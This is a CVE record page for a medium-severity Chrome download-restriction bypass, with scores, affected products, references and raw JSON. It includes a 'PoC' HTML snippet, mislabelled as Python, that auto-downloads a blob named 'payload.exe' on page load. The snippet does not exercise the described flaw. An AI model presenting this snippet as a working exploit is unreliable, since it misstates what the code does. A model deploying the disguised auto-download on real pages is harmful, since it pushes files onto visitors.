CVE-2026-5887

Description

Insufficient validation of untrusted input in Downloads in Google Chrome on Windows prior to 147.0.7727.55 allowed a remote attacker to bypass download restrictions via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-5887 -->
<!-- This PoC demonstrates a potential bypass of download restrictions -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5887 PoC</title>
</head>
<body>
    <h1>Download Bypass Test</h1>
    <script>
        function triggerDownload() {
            // Create a blob to simulate a file download
            var content = "This is a test file for CVE-2026-5887.";
            var blob = new Blob([content], { type: 'text/plain' });
            var url = window.URL.createObjectURL(blob);
            
            var a = document.createElement('a');
            a.style.display = 'none';
            a.href = url;
            // Attempting to exploit insufficient validation in filename or path
            a.download = "payload.exe"; 
            document.body.appendChild(a);
            a.click();
            
            window.URL.revokeObjectURL(url);
        }
        
        // Trigger automatically to simulate attack scenario
        window.onload = triggerDownload;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5887
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5887
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5887/
[4] VulDB https://vuldb.com/cve/CVE-2026-5887
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/486079015

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5887", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:28.553", "lastModified": "2026-04-13T21:17:32.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Downloads in Google Chrome on Windows prior to 147.0.7727.55 allowed a remote attacker to bypass download restrictions via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/486079015", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}